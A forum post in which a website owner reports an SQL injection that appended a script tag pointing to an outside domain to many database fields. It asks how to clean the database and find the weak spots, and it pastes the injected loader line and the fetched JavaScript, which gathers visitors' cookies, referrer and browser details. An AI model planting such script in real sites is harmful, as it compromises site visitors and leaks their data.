sql injection attack

I got hit last night with a sql injection that loaded a script into a lot of my fields in mulitple tables.
1I wanted to find out if anyone knows what this script did and how i can get rid of it,
2) and if there are any good sql injection tools that i  can use to find the vulnerable areas.
3)The attack added this to the end of a bunch of fields in my database.  How do i go about doing a replace for all fields in a table or the entire database so that it won't take forever to remove them.

here is the script that was added.


really need help on this
thanks in advance
danny

<script src=http://mokanfu.cn></script>
and here is what the function on the site looks like
 
function y_gVal(iz) {var endstr=document.cookie.indexOf(";",iz);if(endstr==-1) endstr=document.cookie.length;return document.cookie.substring(iz,endstr);} function y_g(name) {var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;var j;while(iyesvisitor){y_c2=y_c2+1;document.cookie="cck_lasttime="+yesctime+"; expires="+y_e.toGMTString()+"; path=/";document.cookie="cck_count="+y_c2+"; expires="+y_e.toGMTString()+"; path=/";}return y_c2;}} var yesdata; yesdata='&refe='+escape(document.referrer)+'&location='+escape(document.location)+'&color='+screen.colorDepth+'x&resolution='+screen.width+'x'+screen.height+'&returning='+cc_k()+'&language='+navigator.systemLanguage+'&ua='+escape(navigator.userAgent); document.write(''); var seraph; if (seraph==null) { seraph=1; document.write(""); }

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